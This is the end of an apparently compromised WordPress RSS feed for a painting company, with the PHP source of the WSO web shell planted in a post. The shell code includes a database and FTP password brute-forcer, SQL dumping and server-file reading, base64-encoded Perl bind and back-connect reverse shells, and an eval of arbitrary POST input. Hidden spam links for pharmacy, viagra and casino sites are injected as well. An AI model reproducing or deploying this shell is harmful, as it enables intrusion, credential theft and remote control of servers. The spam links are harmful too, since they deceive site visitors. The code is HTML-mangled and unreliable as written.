					if(@$_POST["reverse"]) {<br />
						$tmp = "";<br />
						for($i=strlen($line[0])-1; $i>=0; --$i)<br />
							$tmp .= $line[0][$i];<br />
						 $attempts;<br />
						if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {<br />
							$success ;<br />
							echo "<b>".htmlspecialchars($line[0])."</b>:".htmlspecialchars($tmp);<br />
						}<br />
					}<br />
				}<br />
		} elseif($_POST["type"] == 2) {<br />
			$temp = @file($_POST["dict"]);<br />
			if( is_array($temp) )<br />
				foreach($temp as $line) {<br />
					$line = trim($line);<br />
					 $attempts;<br />
					if( wsoBruteForce($server[0],@$server[1], $_POST["login"], $line) ) {<br />
						$success ;<br />
						echo "<b>".htmlspecialchars($_POST["login"])."</b>:".htmlspecialchars($line)."<br />";<br />
					}<br />
				}<br />
		}<br />
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div>
<p>";<br />
	}<br />
	echo "<br />
<h1>Bruteforce</h1>
<div class=content>
<table>
<form method=post>
<tr>
<td><span>Type</span></td>
<p>"<br />
		."
<td>
<select name=proto>
<option value=ftp>FTP</option>
<option value=mysql>MySql</option>
<option value=pgsql>PostgreSql</option>
</select>
</td>
</tr>
<tr>
<td>"<br />
		."<br />
<input type=hidden name=c value="".htmlspecialchars($GLOBALS["cwd"])."">"<br />
		."<br />
<input type=hidden name=a value="".htmlspecialchars($_POST["a"])."">"<br />
		."<br />
<input type=hidden name=charset value="".htmlspecialchars($_POST["charset"])."">"<br />
		."<span>Server:port</span></td>
<p>"<br />
		."
<td>
<input type=text name=server value="127.0.0.1"></td>
</tr>
<p>"<br />
		."<br />
<tr>
<td><span>Brute type</span></td>
<p>"<br />
		."
<td><label><br />
<input type=radio name=type value="1" checked> /etc/passwd</label></td>
</tr>
<p>"<br />
		."<br />
<tr>
<td></td>
<td><label style="padding-left:15px"><br />
<input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td>
</tr>
<p>"<br />
		."<br />
<tr>
<td></td>
<td><label><br />
<input type=radio name=type value="2"> Dictionary</label></td>
</tr>
<p>"<br />
		."<br />
<tr>
<td></td>
<td>
<table style="padding-left:15px">
<tr>
<td><span>Login</span></td>
<p>"<br />
		."
<td>
<input type=text name=login value="root"></td>
</tr>
<p>"<br />
		."<br />
<tr>
<td><span>Dictionary</span></td>
<p>"<br />
		."
<td>
<input type=text name=dict value="".htmlspecialchars($GLOBALS["cwd"])."passwd.dic"></td>
</tr>
</table>
<p>"<br />
		."</td>
</tr>
<tr>
<td></td>
<td>
<input type=submit value=">>"></td>
</tr>
</form>
</table>
<p>";<br />
	echo "</p></div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionSql() {<br />
	class DbClass {<br />
		var $type;<br />
		var $link;<br />
		var $res;<br />
		function DbClass($type)	{<br />
			$this->type = $type;<br />
		}<br />
		function connect($host, $user, $pass, $dbname){<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;</p>
<p>					break;<br />
				case "pgsql":<br />
					$host = explode(":", $host);<br />
					if(!$host[1]) $host[1]=5432;<br />
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;<br />
					break;<br />
			}<br />
			return false;<br />
		}<br />
		function selectdb($db) {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					if (@mysql_select_db($db))return true;<br />
					break;<br />
			}<br />
			return false;<br />
		}<br />
		function query($str) {<br />
			switch($this->type) {<br />
				case "mysql":<br />
					return $this->res = @mysql_query($str);<br />
					break;<br />
				case "pgsql":<br />
					return $this->res = @pg_query($this->link,$str);<br />
					break;<br />
			}<br />
			return false;<br />
		}<br />
		function fetch() {<br />
			$res = func_num_args()?func_get_arg(0):$this->res;<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					return @mysql_fetch_assoc($res);<br />
					break;<br />
				case "pgsql":<br />
					return @pg_fetch_assoc($res);<br />
					break;<br />
			}<br />
			return false;<br />
		}<br />
		function listDbs() {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
 return $this->query("SHOW databases");<br />
				break;<br />
				case "pgsql":<br />
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!="t"");<br />
				break;<br />
			}<br />
			return false;<br />
		}<br />
		function listTables() {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					return $this->res = $this->query("SHOW TABLES");<br />
				break;<br />
				case "pgsql":<br />
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != "information_schema" AND table_schema != "pg_catalog"");<br />
				break;<br />
			}<br />
			return false;<br />
		}<br />
		function error() {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					return @mysql_error();<br />
				break;<br />
				case "pgsql":<br />
					return @pg_last_error();<br />
				break;<br />
			}<br />
			return false;<br />
		}<br />
		function setCharset($str) {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					if(function_exists("mysql_set_charset"))<br />
						return @mysql_set_charset($str, $this->link);<br />
					else<br />
						$this->query("SET CHARSET ".$str);<br />
					break;<br />
				case "pgsql":<br />
					return @pg_set_client_encoding($this->link, $str);<br />
					break;<br />
			}<br />
			return false;<br />
		}<br />
		function loadFile($str) {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					return $this->fetch($this->query("SELECT LOAD_FILE("".addslashes($str)."") as file"));<br />
				break;<br />
				case "pgsql":<br />
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM "".addslashes($str)."";select file from wso2;");<br />
					$r=array();<br />
					while($i=$this->fetch())<br />
						$r[] = $i["file"];<br />
					$this->query("drop table wso2");<br />
					return array("file"=>implode("\n",$r));<br />
				break;<br />
			}<br />
			return false;<br />
		}<br />
		function dump($table, $fp = false) {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					$res = $this->query("SHOW CREATE TABLE `".$table."`");<br />
					$create = mysql_fetch_array($res);<br />
					$sql = $create[1].";\n";<br />
 if($fp) fwrite($fp, $sql); else echo($sql);<br />
					$this->query("SELECT * FROM `".$table."`");<br />
 $i = 0;<br />
 $head = true;<br />
					while($item = $this->fetch()) {<br />
 $sql = "";<br />
 if($i % 1000 == 0) {<br />
 $head = true;<br />
 $sql = ";\n\n";<br />
 }</p>
<p>						$columns = array();<br />
						foreach($item as $k=>$v) {<br />
 if($v === null)<br />
 $item[$k] = "NULL";<br />
 elseif(is_int($v))<br />
 $item[$k] = $v;<br />
 else<br />
 $item[$k] = """.@mysql_real_escape_string($v).""";<br />
							$columns[] = "`".$k."`";<br />
						}<br />
 if($head) {<br />
 $sql .= "INSERT INTO `".$table."` (".implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).")";<br />
 $head = false;<br />
 } else<br />
 $sql .= "\n\t,(".implode(", ", $item).")";<br />
 if($fp) fwrite($fp, $sql); else echo($sql);<br />
 $i ;<br />
					}<br />
 if(!$head)<br />
 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");<br />
				break;<br />
				case "pgsql":<br />
					$this->query("SELECT * FROM ".$table);<br />
					while($item = $this->fetch()) {<br />
						$columns = array();<br />
						foreach($item as $k=>$v) {<br />
							$item[$k] = """.addslashes($v).""";<br />
							$columns[] = $k;<br />
						}<br />
 $sql = "INSERT INTO ".$table." (".implode(", ", $columns).") VALUES (".implode(", ", $item).");"."\n";<br />
 if($fp) fwrite($fp, $sql); else echo($sql);<br />
					}<br />
				break;<br />
			}<br />
			return false;<br />
		}<br />
	};<br />
	$db = new DbClass($_POST["type"]);<br />
	if((@$_POST["p2"]=="download") &#038;&#038; (@$_POST["p1"]!="select")) {<br />
		$db->connect($_POST["sql_host"], $_POST["sql_login"], $_POST["sql_pass"], $_POST["sql_base"]);<br />
		$db->selectdb($_POST["sql_base"]);<br />
 switch($_POST["charset"]) {<br />
 case "Windows-1251": $db->setCharset("cp1251"); break;<br />
 case "UTF-8": $db->setCharset("utf8"); break;<br />
 case "KOI8-R": $db->setCharset("koi8r"); break;<br />
 case "KOI8-U": $db->setCharset("koi8u"); break;<br />
 case "cp866": $db->setCharset("cp866"); break;<br />
 }<br />
 if(empty($_POST["file"])) {<br />
 ob_start("ob_gzhandler", 4096);<br />
 header("Content-Disposition: attachment; filename=dump.sql");<br />
 header("Content-Type: text/plain");<br />
 foreach($_POST["tbl"] as $v)<br />
				$db->dump($v);<br />
 exit;<br />
 } elseif($fp = @fopen($_POST["file"], "w")) {<br />
 foreach($_POST["tbl"] as $v)<br />
 $db->dump($v, $fp);<br />
 fclose($fp);<br />
 unset($_POST["p2"]);<br />
 } else<br />
 die("<script>alert("Error! Can\"t open file");window.history.back(-1)</script>");<br />
	}<br />
	wsoHeader();<br />
	echo "</p>
<h1>Sql browser</h1>
<div class=content>
<form name="sf" method="post" onsubmit="fs(this);">
<table cellpadding="2" cellspacing="0">
<tr>
<td>Type</td>
<td>Host</td>
<td>Login</td>
<td>Password</td>
<td>Database</td>
<td></td>
</tr>
<tr>
<input type=hidden name=a value=Sql>
<input type=hidden name=p1 value="query">
<input type=hidden name=p2 value="">
<input type=hidden name=c value="". htmlspecialchars($GLOBALS["cwd"]) ."">
<input type=hidden name=charset value="". (isset($_POST["charset"])?$_POST["charset"]:"") ."">
<td>
<select name="type">
<option value="mysql" ";<br />
 if(@$_POST["type"]=="mysql")echo "selected";<br />
echo ">MySql</option>
<option value="pgsql" ";<br />
if(@$_POST["type"]=="pgsql")echo "selected";<br />
echo ">PostgreSql</option>
</select>
</td>
<td>
<input type=text name=sql_host value=\"". (empty($_POST["sql_host"])?"localhost":htmlspecialchars($_POST["sql_host"])) ."\"></td>
<td>
<input type=text name=sql_login value=\"". (empty($_POST["sql_login"])?"root":htmlspecialchars($_POST["sql_login"])) ."\"></td>
<td>
<input type=text name=sql_pass value=\"". (empty($_POST["sql_pass"])?"":htmlspecialchars($_POST["sql_pass"])) ."\"></td>
<td>";<br />
	$tmp = "<br />
<input type=text name=sql_base value="">";<br />
	if(isset($_POST["sql_host"])){<br />
		if($db->connect($_POST["sql_host"], $_POST["sql_login"], $_POST["sql_pass"], $_POST["sql_base"])) {<br />
			switch($_POST["charset"]) {<br />
				case "Windows-1251": $db->setCharset("cp1251"); break;<br />
				case "UTF-8": $db->setCharset("utf8"); break;<br />
				case "KOI8-R": $db->setCharset("koi8r"); break;<br />
				case "KOI8-U": $db->setCharset("koi8u"); break;<br />
				case "cp866": $db->setCharset("cp866"); break;<br />
			}<br />
			$db->listDbs();<br />
			echo "<br />
<select name=sql_base>
<option value=""></option>
<p>";<br />
			while($item = $db->fetch()) {<br />
				list($key, $value) = each($item);<br />
				echo "<br />
<option value="".$value."" ".($value==$_POST["sql_base"]?"selected":"").">".$value."</option>
<p>";<br />
			}<br />
			echo "</select>
<p>";<br />
		}<br />
		else echo $tmp;<br />
	}else<br />
		echo $tmp;<br />
	echo "</td>
<td>
<input type=submit value=">>" onclick="fs(d.sf);"></td>
<td>
<input type=checkbox name=sql_count value="on"" . (empty($_POST["sql_count"])?"":" checked") . "> count the number of rows</td>
</tr>
</table>
<p>		<script>
 s_db="".@addslashes($_POST["sql_base"])."";
 function fs(f) {
 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
 if(f.p1) f.p1.value="";
 if(f.p2) f.p2.value="";
 if(f.p3) f.p3.value="";
 }
 }
			function st(t,l) {
				d.sf.p1.value = "select";
				d.sf.p2.value = t;
 if(l &#038;&#038; d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements["tbl[]"].length; i)
					d.sf.elements["tbl[]"][i].checked = !d.sf.elements["tbl[]"][i].checked;
			}
		</script>";<br />
	if(isset($db) &#038;&#038; $db->link){<br />
		echo "<br/><br />
<table width=100% cellpadding=2 cellspacing=0>";<br />
			if(!empty($_POST["sql_base"])){<br />
				$db->selectdb($_POST["sql_base"]);<br />
				echo "<br />
<tr>
<td width=1 style="border-top:2px solid #666;"><span>Tables:</span></p>
<p>";<br />
				$tbls_res = $db->listTables();<br />
				while($item = $db->fetch($tbls_res)) {<br />
					list($key, $value) = each($item);<br />
 if(!empty($_POST["sql_count"]))<br />
 $n = $db->fetch($db->query("SELECT COUNT(*) as n FROM ".$value.""));<br />
					$value = htmlspecialchars($value);<br />
					echo "<nobr><br />
<input type="checkbox" name="tbl[]" value="".$value."">&#038;<a href=# onclick=\"st("".$value."",1)\">".$value."</a>" . (empty($_POST["sql_count"])?"&#038;":" <small>({$n["n"]})</small>") . "</nobr><br />";<br />
				}<br />
				echo "<br />
<input type="checkbox" onclick="is();">
<input type=button value="Dump" onclick="document.sf.p2.value=\"download\";document.sf.submit();">File path:<br />
<input type=text name=file value="dump.sql"></td>
<td style="border-top:2px solid #666;">";<br />
				if(@$_POST["p1"] == "select") {<br />
					$_POST["p1"] = "query";<br />
 $_POST["p3"] = $_POST["p3"]?$_POST["p3"]:1;<br />
					$db->query("SELECT COUNT(*) as n FROM " . $_POST["p2"]);<br />
					$num = $db->fetch();<br />
					$pages = ceil($num["n"] / 30);<br />
 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST["p2"] . "\", d.sf.p3.value)}</script><span>".$_POST["p2"]."</span> ({$num["n"]} records) Page #<br />
<input type=text name="p3" value=" . ((int)$_POST["p3"]) . ">";<br />
 echo " of $pages";<br />
 if($_POST["p3"] > 1)<br />
 echo " <a href=# onclick="st(\"" . $_POST["p2"] . "", " . ($_POST["p3"]-1) . ")">&#038;< Prev</a>";<br />
 if($_POST["p3"] < $pages)<br />
 echo " <a href=# onclick="st(\"" . $_POST["p2"] . "", " . ($_POST["p3"] 1) . ")">Next &#038;></a>";<br />
 $_POST["p3"]--;<br />
					if($_POST["type"]=="pgsql")<br />
						$_POST["p2"] = "SELECT * FROM ".$_POST["p2"]." LIMIT 30 OFFSET ".($_POST["p3"]*30);<br />
					else<br />
						$_POST["p2"] = "SELECT * FROM `".$_POST["p2"]."` LIMIT ".($_POST["p3"]*30).",30";<br />
					echo "</p>
<p>";<br />
				}<br />
				if((@$_POST["p1"] == "query") &#038;&#038; !empty($_POST["p2"])) {<br />
					$db->query(@$_POST["p2"]);<br />
					if($db->res !== false) {<br />
						$title = false;<br />
						echo "<br />
<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">";<br />
						$line = 1;<br />
						while($item = $db->fetch())	{<br />
							if(!$title)	{<br />
								echo "<br />
<tr>";<br />
								foreach($item as $key => $value)<br />
									echo "
<th>".$key."</th>
<p>";<br />
								reset($item);<br />
								$title=true;<br />
								echo "</tr>
<tr>";<br />
								$line = 2;<br />
							}<br />
							echo "<br />
<tr class="l".$line."">";<br />
							$line = $line==1?2:1;<br />
							foreach($item as $key => $value) {<br />
								if($value == null)<br />
									echo "
<td><i>null</i></td>
<p>";<br />
								else<br />
									echo "
<td>".nl2br(htmlspecialchars($value))."</td>
<p>";<br />
							}<br />
							echo "</tr>
<p>";<br />
						}<br />
						echo "</table>
<p>";<br />
					} else {<br />
						echo "
<div><b>Error:</b> ".htmlspecialchars($db->error())."</div>
<p>";<br />
					}<br />
				}<br />
				echo "<br /></form>
<form onsubmit="d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;"><textarea name="query" style="width:100%;height:100px">";<br />
 if(!empty($_POST["p2"]) &#038;&#038; ($_POST["p1"] != "loadfile"))<br />
 echo htmlspecialchars($_POST["p2"]);<br />
 echo "</textarea><br/><br />
<input type=submit value="Execute">";<br />
				echo "</td>
</tr>
<p>";<br />
			}<br />
			echo "</table>
</form>
<p><br/>";<br />
 if($_POST["type"]=="mysql") {<br />
 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, "@", `host`) = USER() AND `File_priv` = "y"");<br />
 if($db->fetch())<br />
 echo "<br />
<form onsubmit="d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;"><span>Load file</span><br />
<input class="toolsInp" type=text name=f>
<input type=submit value=">>"></form>
<p>";<br />
 }<br />
			if(@$_POST["p1"] == "loadfile") {<br />
				$file = $db->loadFile($_POST["p2"]);<br />
				echo "<br/>
<pre class=ml1>".htmlspecialchars($file["file"])."</pre>
<p>";<br />
			}<br />
	} else {<br />
 echo htmlspecialchars($db->error());<br />
 }<br />
	echo "</p></div>
<p>";<br />
	wsoFooter();<br />
}<br />
function actionNetwork() {<br />
	wsoHeader();<br />
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";<br />
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";<br />
	echo "<br />
<h1>Network tools</h1>
<div class=content>
<form name="nfp" onSubmit=\"g(null,null,"bpp",this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/><br />
	Port:<br />
<input type="text" name="port" value="31337">
<input type=submit value=">>"><br />
	</form>
<form name="nfp" onSubmit=\"g(null,null,"bcp",this.server.value,this.port.value);return false;\">
	<span>Back-connect [perl]</span><br/><br />
	Server:<br />
<input type="text" name="server" value="". $_SERVER["REMOTE_ADDR"] .""> Port:<br />
<input type="text" name="port" value="31337">
<input type=submit value=">>"><br />
	</form>
<p>";<br />
	if(isset($_POST["p1"])) {<br />
		function cf($f,$t) {<br />
			$w = @fopen($f,"w") or @function_exists("file_put_contents");<br />
			if($w){<br />
				@fwrite($w,@base64_decode($t));<br />
				@fclose($w);<br />
			}<br />
		}<br />
		if($_POST["p1"] == "bpp") {<br />
			cf("/tmp/bp.pl",$bind_port_p);<br />
			$out = wsoEx("perl /tmp/bp.pl ".$_POST["p2"]." 1>/dev/null 2>&#038;1 &#038;");<br />
 sleep(1);<br />
			echo "
<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>
<p>";<br />
 unlink("/tmp/bp.pl");<br />
		}<br />
		if($_POST["p1"] == "bcp") {<br />
			cf("/tmp/bc.pl",$back_connect_p);<br />
			$out = wsoEx("perl /tmp/bc.pl ".$_POST["p2"]." ".$_POST["p3"]." 1>/dev/null 2>&#038;1 &#038;");<br />
 sleep(1);<br />
			echo "
<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>
<p>";<br />
 unlink("/tmp/bc.pl");<br />
		}<br />
	}<br />
	echo "</p></div>
<p>";<br />
	wsoFooter();<br />
}<br />
function actionRC() {<br />
	if(!@$_POST["p1"]) {<br />
		$a = array(<br />
			"uname" => php_uname(),<br />
			"php_version" => phpversion(),<br />
			"wso_version" => WSO_VERSION,<br />
			"safemode" => @ini_get("safe_mode")<br />
		);<br />
		echo serialize($a);<br />
	} else {<br />
		eval($_POST["p1"]);<br />
	}<br />
}<br />
if( empty($_POST["a"]) )<br />
	if(isset($default_action) &#038;&#038; function_exists("action" . $default_action))<br />
		$_POST["a"] = $default_action;<br />
	else<br />
		$_POST["a"] = "SecInfo";<br />
if( !empty($_POST["a"]) &#038;&#038; function_exists("action" . $_POST["a"]) )<br />
	call_user_func("action" . $_POST["a"]);<br />
exit;<br />
 <a href="http://www.gryphynmedia.com/">spilleautomater pa nettet</a><br />
 <a href="http://cvsonlinepharmacystore.com">online pharmacy</a> <a href="http://erektilepillenonline.com/products/viagra.htm">viagra</a></p>
</p>]]></content:encoded>
			<wfw:commentRss>http://www.imperialpainting.com/619/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Test</title>
		<link>http://www.imperialpainting.com/test/</link>
		<comments>http://www.imperialpainting.com/test/#comments</comments>
		<pubDate>Mon, 11 Oct 2010 12:27:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.imperialpainting.com/test/</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><img style="display:block;margin-right:auto;margin-left:auto;" alt="image" src="http://www.imperialpainting.com/wp-conten
<div style="display: none"><a href='http://life4success.net/the-lock-picker-70-commission-no-competitors' title='The Lock Picker - 70%
<div style="display: none"><a href='http://life4success.net/german-cancer-breakthrough' title='German Cancer Breakthrough'>German Cancer Breakthrough</a></div>
<p> Commission &#8211; No Competitors&#8217;>The Lock Picker &#8211; 70% Commission &#8211; No Competitors</a></div>
<p>t/uploads/2011/10/wpid-IMG_20111025_095948.jpg&#8221; /></p>
<p>Test</p>
<p> <a href="http://www.a-in-a-circle.com/">spela casino</a></p>
<div style="display: none">zp8497586rq</div>
<div style="display: none">zp8497586rq</div>
<p> <a href="http://erektilepillenonline.com/products/viagra.htm">viagra</a></p>
</p>]]></content:encoded>
			<wfw:commentRss>http://www.imperialpainting.com/test/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
